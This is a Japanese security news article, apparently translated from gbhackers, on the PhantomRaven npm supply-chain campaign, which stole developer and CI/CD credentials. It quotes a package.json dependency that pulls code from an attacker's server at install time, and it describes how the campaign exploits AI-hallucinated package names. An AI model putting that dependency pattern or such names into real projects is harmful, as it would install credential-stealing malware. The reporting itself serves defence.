PhantomRaven Attack Discovered in 126 Malicious npm Packages, Exceeding 86,000 Downloads
2025/10/30 gbhackers — PhantomRaven の出現は、世界中の開発者コミュニティを揺るがすものだ。この大規模キャンペーンには、126 個の悪意のある npm パッケージが関与し、86,000 回以上のダウンロードを記録した。これらの悪意のパッケージは水面下に潜み、世界中の無防備な開発者から npm トークン/GitHub の認証情報/CI/CD のシークレットを積極的に盗んでいる。この攻撃者はオープンソース・エコシステムの盲点を突くことで、セキュリティ分析から悪意のコードを隠蔽する新しい手法を駆使し、大きな影響を生み出している。

2025年10月に Koi Security の行動リスク・エンジン Wings は、外部ネットワークへのリクエストを行う npm パッケージの急増を検出した。このような外部への通信は、ほとんどのパッケージのインストール時に発生するものではない。
さらに詳しく調査した結果、真相が明らかになった。8 月以降において大規模な攻撃が進行しており、オリジナルの 126 個のパッケージのうち、80 個以上が稼働し続け、秘密裏に認証情報を盗んでいた。
npm が実施した初期の削除では、その後のアップロードの大部分が見逃され、このキャンペーンは数ヶ月にわたり検出を逃れることになった。
この攻撃者のインフラは、運用上のセキュリティが驚くほど欠如しており、無料サービスの連続したメールアドレス “jpdtester01@hotmail[.]com” 〜 “jpdtester13@gmail[.]com” および、”npmhell” や “npmpackagejpd” といった簡便なユーザー名に依存していた。
こうしたパンくずリストが存在していたが、巧妙な配信メカニズムにより真のペイロードは隠されていた。
PhantomRaven がどのように検出を逃れたか
従来の npm パッケージは、npmjs.com からダイレクトに取得した依存関係をリストするため、依存関係に関するスキャナや分析ツールにより透過的に検出される。
しかし、PhantomRaven は高度な検出回避の戦術である、Remote Dynamic Dependencies (RDD) を採用していた。つまり、これらのパッケージは、標準的なポインタではなく、次のような HTTP URL で依存関係を参照していた。
"dependencies": {
"ui-styles-pkg": "http://packages.storeartifact.com/npm/unused-imports"
}
この無害に見える変更は、きわめて重要なものである。そのインストール時に、npm はリモート・パッケージを攻撃者のサーバからダイレクトに取得し、レジストリ制御を回避してセキュリティ・スキャナを無効化する。つまり、UI には “依存関係 0 件” と表示される。
配布サーバを完全に制御している攻撃者は、インストーラの IP アドレスを調べることで、標的のペイロードを配信することさえ可能である。
それぞれのインストールでは、”preinstall” などのライフサイクル・スクリプトが実行されるため、依存関係ツリーのあらゆる階層に埋め込まれている悪意のコードであっても、自動的に実行される。
それにより攻撃者は、必要に応じてカスタマイズされた悪意のペイロードを配信できるだけではなく、ユーザーへのプロンプトや警告もすべて回避できる。
PhantomRaven の実際の動作
インストールされた PhantomRaven マルウェアは、機密情報を徹底的に収集する。
- メール・アドレス収集:環境変数/設定ファイル (.gitconfig や .npmrc) に加えて、”package.json” ファイル内のメタデータや、開発者のメール・アドレスまでも収集する。
- CI/CD 認証情報の窃取:GitHub Actions/GitLab CI/Jenkins/CircleCI/npm などのプラットフォームの機密情報を積極的に標的とし、ビルド・サーバやデプロイメント・パイプラインに直接的な脅威を与える。
- システム・フィンガープリンティング:収集されるデータには、パブリック IP アドレス/ローカル IP アドレス/ホスト名/OS 情報/ユーザー名/作業ディレクトリ/Node.js のバージョンなどが含まれる。それにより、攻撃者は標的を優先順位付けし、将来の攻撃を微調整できる。
PhantomRaven は、HTTP GET/HTTP POST/フォールバック WebSocket 接続を介して、窃取したデータを冗長的に送信することで、大半のネットワーク制限を効果的に回避する。
PhantomRaven のパッケージ名は、単なるタイポスクワットではない。攻撃者は大規模言語モデル (LLM) の幻覚を悪用し、Copilot/ ChatGPT などの AI アシスタントが提案するような、もっともらしいパッケージを作成する。例として挙げられるのは、正当な “eslint-plugin-unused-imports” に対する “unused-imports” である。
このスロップ・スクワッティングと呼ばれる手法により、開発者の AI が推奨するだけでインストールに至る可能性のあるパッケージで、この攻撃者はエコシステムを汚染できる。つまり、AI の提案を信じる被害者は、知らないうちに PhantomRaven マルウェアを環境に持ち込んでしまう。
オープンソース・セキュリティの再考
PhantomRaven の手法が示すのは、ソフトウェア・サプライチェーン攻撃の高度化である。Remote Dynamic Dependencies (RDD)/AI を標的とするパッケージ名/自動実行されるライフサイクル・スクリプトは、マルウェア配信の新たな時代を象徴しており、多くの既存のセキュリティ・ツールを凌駕する。
Koi Security の調査とソリューションが示すのは、パッケージが宣言している内容だけでなく、実際に何を行うかを監視する動作分析により、静的スキャンでは検出できない攻撃を検知できることだ。
これらのオープンソース・エコシステムが脅威に直面する中、開発者と企業に加えて、ソフトウェア・サプライチェーン自体を保護するためには、高度で動的な防御が不可欠となる。
PhantomRaven は、依存関係を npm レジストリから動的に取得する RDD 手法により、静的スキャンなどを回避します。さらに preinstall などのライフサイクル実行で自動起動し、AI による提案を狙うパッケージ名を導入しています。その他には、粗い設計と実装があるようですが、前述の戦術で確実に被害を拡大しています。その意味で、深刻な脅威と捉えるべきでしょう。よろしければ、npm で検索を、ご参照ください。

.png)

You must be logged in to post a comment.